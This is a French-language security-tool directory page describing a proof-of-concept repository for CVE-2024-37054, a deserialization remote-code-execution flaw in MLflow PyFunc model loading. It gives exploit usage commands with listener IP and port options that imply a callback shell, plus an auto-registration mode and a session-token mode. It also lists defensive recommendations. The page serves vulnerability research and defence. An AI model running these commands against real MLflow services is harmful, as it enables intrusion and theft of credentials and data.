Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-37054-PoC — Dépôt de preuve de concept et de recherche pour CVE-2024-37054, une vulnérabilité de désérialisation non sécurisée dans le chargement de modèles MLflow PyFunc pouvant mener à une exécution de code à distance. | Kitploit
Outils/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
Outils DéfensifsAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage AutomatiqueApprentissage et ÉducationSécurité de l'IA
GitHubclearlotus-git/cve-2024-37054-poc

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

CVE-2024-37054-PoC

Dépôt de preuve de concept et de recherche pour CVE-2024-37054, une vulnérabilité de désérialisation non sécurisée dans le chargement de modèles MLflow PyFunc pouvant mener à une exécution de code à distance.

Voir le dépôt
il y a 4h 35mPas encore vérifié
Partager

Désérialisation non sécurisée de MLflow

CVE-2024-37054

Aperçu

Ce dépôt documente la recherche sur CVE-2024-37054, un problème de désérialisation non sécurisée affectant la gestion des modèles PyFunc de MLflow.

Dans les versions affectées de MLflow, le chargement d'un modèle PyFunc non fiable peut amener la logique de désérialisation Python à traiter un objet sérialisé contenant un comportement contrôlé par l'attaquant. Si un artefact non fiable est chargé, du code peut s'exécuter avec les permissions de l'utilisateur ou du service effectuant l'opération de chargement du modèle.

Les versions affectées signalées dans les avis publics incluent :

root@kitploit:~
MLflow 0.9.0 through 2.14.1

Risque

Le risque principal n'est pas simplement le « téléversement d'un modèle ». Le danger survient lorsqu'une application, un analyste, un worker ou une plateforme ML charge un artefact de modèle sérialisé non fiable.

L'impact potentiel inclut :

  • Exécution de code à distance dans le contexte du client, du worker ou du service MLflow
  • Exposition des variables d'environnement, des identifiants, des jetons et des fichiers locaux
  • Accès non autorisé aux magasins de modèles, bases de données et services internes connectés
  • Modification des modèles, des expériences ou des métadonnées du registre
  • Déplacement depuis l'infrastructure ML vers d'autres environnements connectés

Contenu du dépôt

root@kitploit:~
build_model.py

Crée un artefact de modèle de test contrôlé destiné à être utilisé dans un environnement de laboratoire privé et autorisé.

root@kitploit:~
exploit.py

Automatisation de preuve de concept privée utilisée uniquement pour valider le chemin de vulnérabilité dans un environnement de formation autorisé. Ce dépôt n'inclut pas de cibles actives, d'identifiants, de jetons de session, de fichiers de configuration VPN ni de charges utiles destructrices.

Utilisation

Exécutez cette preuve de concept uniquement dans un environnement de laboratoire autorisé.

1. Construire le modèle de test

Créez l'artefact de modèle contrôlé :

root@kitploit:~
python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. Exécuter avec enregistrement automatique du compte

Si vous ne disposez pas déjà d'une session authentifiée, utilisez le mode d'enregistrement automatique :

root@kitploit:~
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

Ce mode crée un compte de laboratoire temporaire, s'authentifie auprès de l'application et poursuit avec le flux de travail d'enregistrement et de validation du modèle.

3. Exécuter avec une session existante

Si vous disposez déjà d'une session autorisée valide, transmettez-la directement :

root@kitploit:~
python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

Remplacez :

  • <YOUR_IP> par l'adresse IP joignable depuis la cible de laboratoire autorisée.
  • 4444 par le port d'écoute utilisé dans votre laboratoire.
  • <SESSION_TOKEN> par la valeur de votre session autorisée active.

Ne publiez jamais de jetons de session réels, d'identifiants, de fichiers VPN, d'adresses de cible ou de détails de rappel.

Recommandations défensives

Les organisations utilisant MLflow doivent traiter les artefacts de modèles comme des entrées non fiables, sauf si leur origine et leur intégrité ont été vérifiées.

Mesures de protection recommandées :

  • Ne chargez pas d'artefacts de modèles PyFunc sérialisés ou basés sur pickle non fiables.
  • Restreignez les permissions de téléversement, d'enregistrement, de versionnage et de chargement des modèles en appliquant le principe du moindre privilège.
  • Isolez les charges de travail MLflow dans des conteneurs non-root ou des environnements de worker restreints.
  • Restreignez l'accès réseau sortant depuis l'infrastructure de chargement de modèles et d'entraînement.
  • Évitez de placer des secrets dans des variables d'environnement accessibles aux tâches de traitement des modèles.
  • Journalisez les téléversements de modèles, les actions du registre, les accès aux artefacts et l'activité anormale des sous-processus.
  • Surveillez les avis de sécurité MLflow et utilisez des versions logicielles prises en charge et maintenues.

Avertissement

Ce projet est destiné uniquement à la recherche défensive, à l'éducation et aux tests de sécurité autorisés. Le flux de travail de preuve de concept a été évalué uniquement dans un environnement de formation contrôlé. Ne testez pas cette vulnérabilité contre des systèmes, des comptes, des services ou des réseaux sans autorisation écrite explicite.

Télécharger l’outil